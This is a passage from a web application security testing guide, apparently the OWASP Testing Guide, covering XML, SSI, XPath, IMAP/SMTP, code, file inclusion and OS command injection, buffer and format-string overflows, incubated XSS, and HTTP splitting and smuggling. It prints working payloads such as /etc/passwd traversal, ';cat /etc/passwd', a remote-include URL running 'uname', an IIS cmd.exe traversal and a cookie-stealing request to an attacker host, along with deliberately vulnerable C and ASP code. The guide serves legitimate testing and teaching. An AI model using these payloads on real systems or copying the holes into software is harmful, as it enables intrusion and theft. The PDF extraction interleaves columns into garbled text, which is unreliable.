the application will build a new node and append it to the XML data- In this case, the final XML database is:
base:
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<?xml version=”1.0” encoding=”ISO-8859-1”?> <users>
<users> <user>
<user> <username>gandalf</username>
<username>gandalf</username> <password>!c3</password>
<password>!c3</password> <userid>0</userid>
<userid>0</userid> <mail>[email protected]</mail>
<mail>[email protected]</mail> </user>
</user> <user>
<user> <username>Stefan0</username>
<username>Stefan0</username> <password>w1s3c</password>
<password>w1s3c</password> <userid>500</userid>
<userid>500</userid> <mail>[email protected]</mail>
<mail>[email protected]</mail> </user>
</user> <user>
<user> <username>tony</username>
<username>tony</username> <password>Un6R34kb!e</pass-
<password>Un6R34kb!e</password> word><!--</password>
<userid>500</userid> <userid>500</userid>
<mail>[email protected]</mail><user- <mail>--><userid>0</userid><-
id>0</userid><mail>[email protected]</mail> mail>[email protected]</mail>
</user> </user>
</users> </users>
137
The original userid node has been commented out, leaving only web servers don’t allow the use of the exec directive to execute
the injected one. The document now complies with its DTD rules. system commands.
Tools As in every bad input validation situation, problems arise when the
• XML Injection Fuzz Strings (from wfuzz tool) - user of a web application is allowed to provide data that makes
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ the application or the web server behave in an unforeseen man-
XML.txt ner. With regard to SSI injection, the attacker could provide input
that, if inserted by the application (or maybe directly by the serv-
References er) into a dynamically generated page, would be parsed as one or
Whitepapers more SSI directives.
• Alex Stamos: “Attacking Web Services” -
http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Sta- This is a vulnerability very similar to a classical scripting language
mos-Attacking_Web_Services.ppt injection vulnerability. One mitigation is that the web server needs
• Gregory Steuck, “XXE (Xml eXternal Entity) attack”, to be configured to allow SSI. On the other hand, SSI injection vul-
http://www.securityfocus.com/archive/1/297714 nerabilities are often simpler to exploit, since SSI directives are
easy to understand and, at the same time, quite powerful, e.g.,
Testing for SSI Injection (OTG-INPVAL-009) they can output the content of files and execute system com-
Summary mands.
Web servers usually give developers the ability to add small piec-
es of dynamic code inside static HTML pages, without having to How to Test
deal with full-fledged server-side or client-side languages. This Black Box testing
feature is incarnated by the Server-Side Includes (SSI). In SSI in- The first thing to do when testing in a Black Box fashion is finding
jection testing, we test if it is possible to inject into the application if the web server actually supports SSI directives. Often, the an-
data that will be interpreted by SSI mechanisms. A successful ex- swer is yes, as SSI support is quite common. To find out we just
ploitation of this vulnerability allows an attacker to inject code into need to discover which kind of web server is running on our target,
HTML pages or even perform remote code execution. using classic information gathering techniques.
Server-Side Includes are directives that the web server parses Whether we succeed or not in discovering this piece of informa-
before serving the page to the user. They represent an alterna- tion, we could guess if SSI are supported just by looking at the
tive to writing CGI programs or embedding code using server-side content of the target web site. If it contains .shtml files, then SSI
scripting languages, when there’s only need to perform very sim- are probably supported, as this extension is used to identify pages
ple tasks. Common SSI implementations provide commands to containing these directives. Unfortunately, the use of the shtml
include external files, to set and print web server CGI environment extension is not mandatory, so not having found any shtml files
variables, and to execute external CGI scripts or system com- doesn’t necessarily mean that the target is not prone to SSI injec-
mands. tion attacks.
Putting an SSI directive into a static HTML document is as easy as The next step consists of determining if an SSI injection attack is
writing a piece of code like the following: actually possible and, if so, what are the input points that we can
use to inject our malicious code.
<!--#echo var=”DATE_LOCAL” -->
The testing activity required to do this is exactly the same used to
test for other code injection vulnerabilities. In particular, we need
to print out the current time. to find every page where the user is allowed to submit some kind
of input, and verify whether the application is correctly validating
the submitted input. If sanitization is insufficient, we need to test
<!--#include virtual=”/cgi-bin/counter.pl” -->
if we can provide data that is going to be displayed unmodified (for
example, in an error message or forum post). Besides common
to include the output of a CGI script. user-supplied data, input vectors that should always be consid-
ered are HTTP request headers and cookies content, since they
<!--#include virtual=”/footer.html” --> can be easily forged.
Then, if the web server’s SSI support is enabled, the server will To test if validation is insufficient, we can input, for example, a
parse these directives. In the default configuration, usually, most string like the following in an input form:
138
If the application does not properly filter user input, the tester will
WEBMAIL USER
be able to inject XPath code and interfere with the query result.
For instance, the tester could input the following values:
1
Username: ‘ or ‘1’ = ‘1
Password: ‘ or ‘1’ = ‘1
Looks quite familiar, doesn’t it? Using these parameters, the query
becomes:
INTERNET
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/
text()=’’ or ‘1’ = ‘1’]/account/text())
If there is no knowledge about the XML data internal details and if the
application does not provide useful error messages that help us re-
construct its internal logic, it is possible to perform a Blind XPath In-
jection attack, whose goal is to reconstruct the whole data structure.
The technique is similar to inference based SQL Injection, as the WEBMAIL APPLICATION
approach is to inject code that creates a query that returns one bit
of information. Blind XPath Injection is explained in more detail by
Amit Klein in the referenced paper.
2 3
References
Whitepapers
• Amit Klein: “Blind XPath Injection” - PRIVATE ZONE (HIDDEN SERVERS)
http://www.modsecurity.org/archive/amit/blind-xpath-
injection.pdf
• XPath 1.0 specifications - http://www.w3.org/TR/xpath
The situation S2 is harder to test successfully. The tester needs Result Expected:
to use blind command injection in order to determine if the serv-
er is vulnerable. • List of IMAP/SMTP commands affected
• Type, value, and number of parameters expected by the
On the other hand, the last situation (S3) is not revelant in this affected IMAP/SMTP commands
paragraph.
IMAP/SMTP command injection
Result Expected: Once the tester has identified vulnerable parameters and has
analyzed the context in which they are executed, the next stage
• List of vulnerable parameters is exploiting the functionality.
• Affected functionality
• Type of possible injection (IMAP/SMTP) This stage has two possible outcomes:
[1] The injection is possible in an unauthenticated state:
Understanding the data flow and deployment structure of the the affected functionality does not require the user to be
client authenticated. The injected (IMAP) commands available are
After identifying all vulnerable parameters (for example, limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and
“passed_id”), the tester needs to determine what level of injec- LOGOUT.
tion is possible and then design a testing plan to further exploit [2] The injection is only possible in an authenticated state:
the application. the successful exploitation requires the user to be fully
authenticated before testing can continue.
In this test case, we have detected that the application’s
“passed_id” parameter is vulnerable and is used in the following In any case, the typical structure of an IMAP/SMTP Injection is
request: as follows:
Using the following test case (providing an alphabetical value It is important to remember that, in order to execute an IMAP/
when a numerical value is required): SMTP command, the previous command must be terminated
with the CRLF (%0d%0a) sequence.
http://<webmail>/src/read_body.php?mailbox=INBOX&-
passed_id=test&startMessage=1 Let’s suppose that in the stage 1 (“Identifying vulnerable param-
eters”), the attacker detects that the parameter “message_id” in
the following request is vulnerable:
will generate the following error message:
http://<webmail>/read_email.php?message_id=4791
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by Let’s suppose also that the outcome of the analysis performed
server. in the stage 2 (“Understanding the data flow and deployment
structure of the client”) has identified the command and argu-
ments associated with this parameter as:
In this example, the error message returned the name of the ex-
ecuted command and the corresponding parameters. FETCH 4791 BODY[HEADER]
where:
‘Data.txt is executed
Header = 4791 BODY[HEADER] Server.Execute( “data.txt” )
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
Else
Result Expected: %>
• Arbitrary IMAP/SMTP command injection <form>
<input name=”Data” /><input type=”submit” name=”Enter
References Data” />
Whitepapers </form>
• RFC 0821 “Simple Mail Transfer Protocol”. <%
• RFC 3501 “Internet Message Access Protocol - Version 4rev1”. End If
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting %>)))
Hidden Mail Servers” - http://www.webappsec.org/projects/
articles/121106.pdf
References
Testing for Code Injection • Security Focus - http://www.securityfocus.com
(OTG-INPVAL-012) • Insecure.org - http://www.insecure.org
Summary • Wikipedia - http://www.wikipedia.org
This section describes how a tester can check if it is possible to • Reviewing Code for OS Injection
enter code as input on a web page and have it executed by the
web server. Testing for Local File Inclusion
Summary
In Code Injection testing, a tester submits input that is processed The File Inclusion vulnerability allows an attacker to include a file,
by the web server as dynamic code or as an included file. These usually exploiting a “dynamic file inclusion” mechanisms imple-
tests can target various server-side scripting engines, e.g.., ASP mented in the target application. The vulnerability occurs due to
or PHP. Proper input validation and secure coding practices need the use of user-supplied input without proper validation.
to be employed to protect against these attacks.
This can lead to something as outputting the contents of the file,
How to Test but depending on the severity, it can also lead to:
Black Box testing
Testing for PHP Injection vulnerabilities • Code execution on the web server
Using the querystring, the tester can inject code (in this example, • Code execution on the client-side such as JavaScript which can
a malicious URL) to be processed as part of the included file: lead to other attacks such as cross site scripting (XSS)
Result Expected: • Denial of Service (DoS)
• Sensitive Information Disclosure
http://www.example.com/uptime.php?pin=http://www.
example2.com/packx1/cs.jpg?&cmd=uname%20-a Local File Inclusion (also known as LFI) is the process of including
files, that are already locally present on the server, through the
exploiting of vulnerable inclusion procedures implemented in the
The malicious URL is accepted as a parameter for the PHP page, application. This vulnerability occurs, for example, when a page
which will later use the value in an included file. receives, as input, the path to the file that has to be included and
this input is not properly sanitized, allowing directory travers-
Gray Box testing al characters (such as dot-dot-slash) to be injected. Although
Testing for ASP Code Injection vulnerabilities most examples point to vulnerable PHP scripts, we should keep
Examine ASP code for user input used in execution functions. in mind that it is also common in other technologies such as JSP,
Can the user enter commands into the Data input field? Here, the ASP and others.
ASP code will save the input to a file and then execute it:
How to Test
Since LFI occurs when paths passed to “include” statements are
<%
not properly sanitized, in a blackbox testing approach, we should
If not isEmpty(Request( “Data” ) ) Then
look for scripts which take filenames as parameters.
Dim fso, f
‘User input Data is written to a file named data.txt
Consider the following example:
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
f.Write Request(“Data”) & vbCrLf http://vulnerable_host/preview.php?file=example.html
f.close
Set f = nothing
This looks as a perfect place to try for LFI. If an attacker is lucky
Set fso = Nothing
enough, and instead of selecting the appropriate page from the
143
array by its name, the script directly includes the input parame- to other attacks such as cross site scripting (XSS)
ter, it is possible to include arbitrary files on the server. • Denial of Service (DoS)
• Sensitive Information Disclosure
Typical proof-of-concept would be to load passwd file:
Remote File Inclusion (also known as RFI) is the process of including
http://vulnerable_host/preview.php?file=../../../../etc/passwd remote files through the exploiting of vulnerable inclusion proce-
dures implemented in the application. This vulnerability occurs, for
example, when a page receives, as input, the path to the file that has
If the above mentioned conditions are met, an attacker would to be included and this input is not properly sanitized, allowing exter-
see something like the following: nal URL to be injected. Although most examples point to vulnerable
PHP scripts, we should keep in mind that it is also common in other
technologies such as JSP, ASP and others.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
How to Test
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Since RFI occurs when paths passed to “include” statements are not
alex:x:500:500:alex:/home/alex:/bin/bash
properly sanitized, in a blackbox testing approach, we should look for
margo:x:501:501::/home/margo:/bin/bash
scripts which take filenames as parameters. Consider the following
...
PHP example:
Very often, even when such vulnerability exists, its exploitation is a $incfile = $_REQUEST[“file”];
bit more complex. Consider the following piece of code: include($incfile.”.php”);
http://vulnerable_host/preview.php?file=../../../../etc/pass- In this case the remote file is going to be included and any code con-
wd%00 tained in it is going to be run by the server.
References
References Whitepapers
• Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • “Remote File Inclusion” - http://projects.webappsec.org/w/
• Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion page/13246955/Remote%20File%20Inclusion
• Wikipedia: “Remote File Inclusion” - http://en.wikipedia.org/wiki/
Remediation Remote_File_Inclusion
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/frame- Remediation
work API. If this is not possible the application can maintain a white The most effective solution to eliminate file inclusion vulnerabilities
list of files, that may be included by the page, and then use an identi- is to avoid passing user-submitted input to any filesystem/frame-
fier (for example the index number) to access to the selected file. Any work API. If this is not possible the application can maintain a white
request containing an invalid identifier has to be rejected, in this way list of files, that may be included by the page, and then use an identi-
there is no attack surface for malicious users to manipulate the path. fier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
Testing for Remote File Inclusion there is no attack surface for malicious users to manipulate the path.
Summary
The File Inclusion vulnerability allows an attacker to include a file, Testing for Command Injection (OTG-INPVAL-013)
usually exploiting a “dynamic file inclusion” mechanisms implement- Summary
ed in the target application. The vulnerability occurs due to the use of This article describes how to test an application for OS command in-
user-supplied input without proper validation. jection. The tester will try to inject an OS command through an HTTP
request to the application.
This can lead to something as outputting the contents of the file, but
depending on the severity, it can also lead to: OS command injection is a technique used via a web interface in
order to execute OS commands on a web server. The user supplies
• Code execution on the web server operating system commands through a web interface in order to ex-
• Code execution on the client-side such as JavaScript which can lead ecute OS commands. Any web interface that is not properly sanitized
144
is subject to this exploit. With the ability to execute OS commands, If the application doesn’t validate the request, we can obtain the fol-
the user can upload malicious programs or even obtain passwords. lowing result:
OS command injection is preventable when security is emphasized
during the design and development of applications. POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
How to Test User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
When viewing a file in a web application, the file name is often shown rv:1.8.1) Gecko/20061010 FireFox/2.0
in the URL. Perl allows piping data from a process into an open state- Accept: text/xml,application/xml,application/xhtml+xml,text/
ment. The user can simply append the Pipe symbol “|” onto the end html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
of the file name. Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Example URL before alteration: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Example URL modified: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E-
34F24A0A5
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls| Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
This will execute the command “/bin/ls”.
Doc=Doc1.pdf+|+Dir c:\
Appending a semicolon to the end of a URL for a .PHP page followed
by an operating system command, will execute the command. %3B is
url encoded and decodes to semicolon In this case, we have successfully performed an OS injection attack.
Example:
Exec Results for ‘cmd.exe /c type “C:\httpd\public\
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd doc\”Doc=Doc1.pdf+|+Dir c:\’
Output...
Il volume nell’unità C non ha etichetta.
Example Numero di serie Del volume: 8E3F-4B61
Consider the case of an application that contains a set of documents Directory of c:\
that you can browse from the Internet. If you fire up WebScarab, you 18/10/2006 00:27 2,675 Dir_Prog.txt
can obtain a POST HTTP like the following: 18/10/2006 00:28 3,887 Dir_ProgFile.txt
In this post request, we notice how the application retrieves the pub- 16/11/2006 10:43
lic documentation. Now we can test if it is possible to add an operat- Doc
ing system command to inject in the POST HTTP. Try the following: 11/11/2006 17:25
Documents and Settings
POST http://www.example.com/public/doc HTTP/1.1 25/10/2006 03:11
Host: www.example.com I386
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; 14/11/2006 18:51
rv:1.8.1) Gecko/20061010 FireFox/2.0 h4ck3r
Accept: text/xml,application/xml,application/xhtml+xml,- 30/09/2005 21:40 25,934
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 OWASP1.JPG
03/11/2006 18:29
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Prog
Accept-Encoding: gzip,deflate
18/11/2006 11:20
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Program Files
Keep-Alive: 300
16/11/2006 21:12
Proxy-Connection: keep-alive
Software
Referer: http://127.0.0.1/WebGoat/attack?Screen=20 24/10/2006 18:25
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E- Setup
34F24A0A5 24/10/2006 23:37
Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Technologies
Content-Type: application/x-www-form-urlencoded 18/11/2006 11:14
Content-length: 33 3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Doc=Doc1.pdf Return code: 0
145
How to test
Different types of buffer overflow vulnerabilities have different
testing methods. Here are the testing methods for the common
types of buffer overflow vulnerabilities.
Code Review
See the OWASP Code Review Guide article on how to Review
Code for Buffer Overruns and Overflows Vulnerabilities.
Remediation
See the OWASP Development Guide article on how to Avoid Buf-
fer Overflow Vulnerabilities.
The two registers shown, EAX and ECX, can be populated with
Testing for Heap Overflow user supplied addresses which are a part of the data that is used
Summary to overflow the heap buffer. One of the addresses can point to a
In this test the penetration tester checks whether a they can function pointer which needs to be overwritten, for example UEF
make a Heap overflow that exploits a memory segment. (Unhandled Exception filter), and the other can be the address of
user supplied code that needs to be executed.
Heap is a memory segment that is used for storing dynamical-
ly allocated data and global variables. Each chunk of memory in When the MOV instructions shown in the left pane are execut-
heap consists of boundary tags that contain memory manage- ed, the overwrite takes place and, when the function is called,
ment information. user supplied code gets executed. As mentioned previously, oth-
er methods of testing such vulnerabilities include reverse engi-
When a heap-based buffer is overflowed the control information neering the application binaries, which is a complex and tedious
146
process, and using fuzzing techniques. The malloc in line 1 allocates memory based on the value of
length, which happens to be a 32 bit integer. In this particular ex-
Gray Box testing ample, length is user-controllable and a malicious TNEF file can
When reviewing code, one must realize that there are several be crafted to set length to ‘-1’, which would result in malloc( 0 ).
avenues where heap related vulnerabilities may arise. Code that Therefore, this malloc would allocate a small heap buffer, which
seems innocuous at the first glance can actually be vulnerable would be 16 bytes on most 32 bit platforms (as indicated in mal-
under certain conditions. Since there are several variants of this loc.h).
vulnerability, we will cover only the issues that are predominant.
And now, in line 2, a heap overflow occurs in the call to fread(
Most of the time, heap buffers are considered safe by a lot of de- ). The 3rd argument, in this case length, is expected to be a
velopers who do not hesitate to perform insecure operations like size_t variable. But if it’s going to be ‘-1’, the argument wraps to
strcpy( ) on them. The myth that a stack overflow and instruction 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte
pointer overwrite are the only means to execute arbitrary code buffer.
proves to be hazardous in case of code shown below:-
Static code analysis tools can also help in locating heap related
int main(int argc, char *argv[]) vulnerabilities such as “double free” etc. A variety of tools like
{ RATS, Flawfinder and ITS4 are available for analyzing C-style
languages.
……
Tools
vulnerable(argv[1]); • OllyDbg: “A windows based debugger used for analyzing buffer
return 0; overflow vulnerabilities” - http://www.ollydbg.de
} • Spike, A fuzzer framework that can be used to explore
vulnerabilities and perform length testing -
http://www.immunitysec.com/downloads/SPIKE2.9.tgz
int vulnerable(char *buf) • Brute Force Binary Tester (BFB), A proactive binary checker -
{ http://bfbtester.sourceforge.net
• Metasploit, A rapid exploit development and Testing frame
HANDLE hp = HeapCreate(0, 0, 0); work - http://www.metasploit.com
References
Whitepapers
HLOCAL chunk = HeapAlloc(hp, 0, 260); • w00w00: “Heap Overflow Tutorial” -
http://www.cgsecurity.org/exploit/heaptut.txt
strcpy(chunk, buf); ‘’’ Vulnerability’’’ • David Litchfield: “Windows Heap Overflows” -
http://www.blackhat.com/presentations/win-usa-04/bh-
…….. win-04-litchfield/bh-win-04-litchfield.ppt
overwriting the instruction pointer, similar results can also be On opening the executable with the supplied arguments and
obtained by overwriting other variables and structures, like Ex- continuing execution the following results are obtained.
ception Handlers, which are located on the stack.
How to Test
Black Box testing
The key to testing an application for stack overflow vulnerabili-
ties is supplying overly large input data as compared to what is
expected. However, subjecting the application to arbitrarily large
data is not sufficient. It becomes necessary to inspect the appli-
cation’s execution flow and responses to ascertain whether an
overflow has actually been triggered or not. Therefore, the steps
required to locate and validate stack overflows would be to at-
tach a debugger to the target application or process, generate
malformed input for the application, subject the application to
malformed input, and inspect responses in a debugger. The de-
bugger allows the tester to view the execution flow and the state
of the registers when the vulnerability gets triggered.
#include<stdio.h>
As shown in the registers window of the debugger, the EIP or Ex-
int main(int argc, char *argv[])
tended Instruction Pointer, which points to the next instruction
{ to be executed, contains the value ‘41414141’. ‘41’ is a hexadeci-
char buff[20]; mal representation for the character ‘A’ and therefore the string
printf(“copying into buffer”); ‘AAAA’ translates to 41414141.
strcpy(buff,argv[1]);
return 0; This clearly demonstrates how input data can be used to over-
} write the instruction pointer with user-supplied values and con-
trol program execution. A stack overflow can also allow over-
writing of stack-based structures like SEH (Structured Exception
File sample.exe is launched in a debugger, in our case OllyDbg. Handler) to control code execution and bypass certain stack pro-
tection mechanisms.
char b[1024];
Since the application is expecting command line arguments, a
large sequence of characters such as ‘A’, can be supplied in the
argument field shown above.
148
How to Test
Black Box testing
The key to testing format string vulnerabilities is supplying format
type specifiers in application input.
When testing CGI scripts for format string vulnerabilities, the input
parameters can be manipulated to include %x or %n type specifiers.
For example a legitimate request like
http://hostname/cgi-bin/query.cgi?name=john&code=45765
The functions that are primarily responsible for format string vulner- In a penetration test, incubated attacks can be used to assess
abilities are ones that treat format specifiers as optional. Therefore the criticality of certain bugs, using the particular security issue
when manually reviewing code, emphasis can be given to functions found to build a client-side based attack that usually will be used
such as: to target a large number of victims at the same time (i.e. all users
browsing the site).
printf
fprintf This type of asynchronous attack covers a great spectrum of at-
sprintf tack vectors, among them the following:
snprintf
vfprintf • File upload components in a web application, allowing the
vprintf attacker to upload corrupted media files (jpg images exploiting
vsprintf CVE-2004-0200, png images exploiting CVE-2004-0597,
vsnprintf executable files, site pages with active component, etc.)
their cookie (document.cookie is included as part of the requested ers can then access (most probably with a higher degree of trust
URL) will be sent to the attackers.site host, such as the following: than when accessing a different site).
- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSION- As should also be obvious, the ability to change web page con-
ID=ROGUEIDVALUE; tents at the server, via any vulnerabilities that may be exploit-
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpireP- able at the host which will give the attacker webroot write per-
age=https://vulnerable.site/site/; missions, will also be useful towards planting such an incubated
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1 attack on the web server pages (actually, this is a known infec-
tion-spread method for some web server worms).
SQL Injection Example • Examining input validation is key in mitigating against this
Usually, this set of examples leverages XSS attacks by exploit- vulnerability. If other systems in the enterprise use the same
ing a SQL-injection vulnerability. The first thing to test is whether persistence layer they may have weak input validation and the
the target site has a SQL injection vulnerability. This is described data may be persisited via a “back door”.
in Section 4.2 Testing for SQL Injection. For each SQL-injection
vulnerability, there is an underlying set of constraints describing • To combat the “back door” issue for client side attacks, output
the kind of queries that the attacker/pen-tester is allowed to do. validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
The tester then has to match the XSS attacks he has devised
with the entries that he is allowed to insert. • See the Data Validation section of the Code review guide.
[1] In a similar fashion as in the previous XSS example, use a web Tools
page field vulnerable to SQL injection issues to change a value in • XSS-proxy - http://sourceforge.net/projects/xss-proxy
the database that would be used by the application as input to be • Paros - http://www.parosproxy.org/index.shtml
shown at the site without proper filtering (this would be a com- • Burp Suite - http://portswigger.net/burp/proxy.html
bination of an SQL injection and a XSS issue). For instance, let’s • Metasploit - http://www.metasploit.com/
suppose there is a footer table at the database with all footers
for the web site pages, including a notice field with the legal no- References
tice that appears at the bottom of each web page. You could use Most of the references from the Cross-site scripting section are
the following query to inject JavaScript code to the notice field at valid. As explained above, incubated attacks are executed when
the footer table in the database. combining exploits such as XSS or SQL-injection attacks.
In this case, a WAR file can be uploaded and a new web applica- This section will analyze two different attacks that target spe-
tion deployed at the site, which will not only allow the pen tester cific HTTP headers:
to execute code of her choice locally at the server, but also to • HTTP splitting
plant an application at the trusted site, which the site regular us- • HTTP smuggling
152
The first attack exploits a lack of input sanitization which allows HTTP/1.1 302 Moved Temporarily
an intruder to insert CR and LF characters into the headers of the Date: Sun, 03 Dec 2005 16:22:19 GMT
application response and to ‘split’ that answer into two different Location: http://victim.com/main.jsp?interface=advanced
HTTP messages. The goal of the attack can vary from a cache Content-Length: 0
poisoning to cross site scripting.
HTTP/1.1 200 OK
In the second attack, the attacker exploits the fact that some
Content-Type: text/html
specially crafted HTTP messages can be parsed and interpret-
Content-Length: 35
ed in different ways depending on the agent that receives them.
HTTP smuggling requires some level of knowledge about the dif-
ferent agents that are handling the HTTP messages (web server, <html>Sorry,%20System%20Down</html>
proxy, firewall) and therefore will be included only in the Gray Box <other data>
testing section.
The web cache will see two different responses, so if the attacker
How to Test sends, immediately after the first request, a second one asking
Black Box testing for /index.html, the web cache will match this request with the
HTTP Splitting second response and cache its content, so that all subsequent
Some web applications use part of the user input to generate the requests directed to victim.com/index.html passing through
values of some headers of their responses. The most straight- that web cache will receive the “system down” message. In this
forward example is provided by redirections in which the target way, an attacker would be able to effectively deface the site for
URL depends on some user-submitted value. Let’s say for in- all users using that web cache (the whole Internet, if the web
stance that the user is asked to choose whether he/she prefers cache is a reverse proxy for the web application).
a standard or advanced web interface. The choice will be passed
as a parameter that will be used in the response header to trigger Alternatively, the attacker could pass to those users a JavaScript
the redirection to the corresponding page. snippet that mounts a cross site scripting attack, e.g., to steal
the cookies. Note that while the vulnerability is in the application,
More specifically, if the parameter ‘interface’ has the value ‘ad- the target here is its users. Therefore, in order to look for this
vanced’, the application will answer with the following: vulnerability, the tester needs to identify all user controlled input
that influences one or more headers in the response, and check
whether he/she can successfully inject a CR+LF sequence in it.
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT The headers that are the most likely candidates for this attack
Location: http://victim.com/main.jsp?interface=advanced are:
<snip>
• Location
• Set-Cookie
When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the ap- It must be noted that a successful exploitation of this vulnera-
plication does not filter the user input, it will be possible to in- bility in a real world scenario can be quite complex, as several
sert in the ‘interface’ parameter the sequence %0d%0a, which factors must be taken into account:
represents the CRLF sequence that is used to separate different
lines. At this point, testers will be able to trigger a response that [1] The pen-tester must properly set the headers in the fake
will be interpreted as two different responses by anybody who response for it to be successfully cached (e.g., a Last-Modified
happens to parse it, for instance a web cache sitting between header with a date set in the future). He/she might also have
us and the application. This can be leveraged by an attacker to to destroy previously cached versions of the target pagers, by
poison this web cache so that it will provide false content in all issuing a preliminary request with “Pragma: no-cache” in the
subsequent requests. request headers
[2] The application, while not filtering the CR+LF sequence,
Let’s say that in the previous example the tester passes the fol- might filter other characters that are needed for a successful
lowing data as the interface parameter: attack (e.g., “<” and “>”). In this case, the tester can try to use
other encodings (e.g., UTF-7)
advanced%0d%0aContent-Length:%20 [3] Some targets (e.g., ASP) will URL-encode the path part of the
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Location header (e.g., www.victim.com/redirect.asp), making
Type:%20text/html%0d%0aContent-Length:%20 a CRLF sequence useless. However, they fail to encode the
35%0d%0a%0d%0a<html>Sorry,%20System%20Down</ query section (e.g., ?interface=advanced), meaning that a
html> leading question mark is enough to bypass this filtering
For a more detailed discussion about this attack and other in-
The resulting answer from the vulnerable application will there- formation about possible scenarios and applications, check the
fore be the following: papers referenced at the bottom of this section.
153
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/ Note that HTTP Smuggling does *not* exploit any vulnerability
c+<command_to_execute> in the target web application. Therefore, it might be somewhat
tricky, in a pen-test engagement, to convince the client that a
countermeasure should be looked for anyway.
Of course, it is quite easy to spot and filter this attack by the
presence of strings like “..” and “cmd.exe” in the URL. How- References
ever, IIS 5.0 is quite picky about POST requests whose body is Whitepapers
up to 48K bytes and truncates all content that is beyond this • Amit Klein, “Divide and Conquer: HTTP Response Splitting,
limit when the Content-Type header is different from applica- Web Cache Poisoning Attacks, and Related Topics” - http://
tion/x-www-form-urlencoded. The pen-tester can leverage this www.packetstormsecurity.org/papers/general/whitepaper_
by creating a very large request, structured as follows: httpresponse.pdf
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP
Request Smuggling” - http://www.watchfire.com/news/
POST /target.asp HTTP/1.1 <-- Request #1 whitepapers.aspx
Host: target • Amit Klein: “HTTP Message Splitting, Smuggling and
Connection: Keep-Alive Other Animals” - http://www.owasp.org/images/1/1a/
Content-Length: 49225 OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.
<CRLF> ppt
<49152 bytes of garbage> • Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS
POST /target.asp HTTP/1.0 <-- Request #2 48K buffer phenomenon)” - http://www.securityfocus.com/
archive/1/411418
154
This section analyses the more common codes (error messag- In addition, there are many SQL Injection exploitation techniques
es) and bring into focus their relevance during a vulnerability as- that utilize detailed error messages from the database driver, for
sessment. The most important aspect for this activity is to focus in depth information on this issue see Testing for SQL Injection
one’s attention on these errors, seeing them as a collection of (OTG-INPVAL-005) for more information.
information that will aid in the next steps of our analysis. A good
collection can facilitate assessment efficiency by decreasing the Web server errors aren’t the only useful output returned requir-
overall time taken to perform the penetration test. ing security analysis. Consider the next example error message:
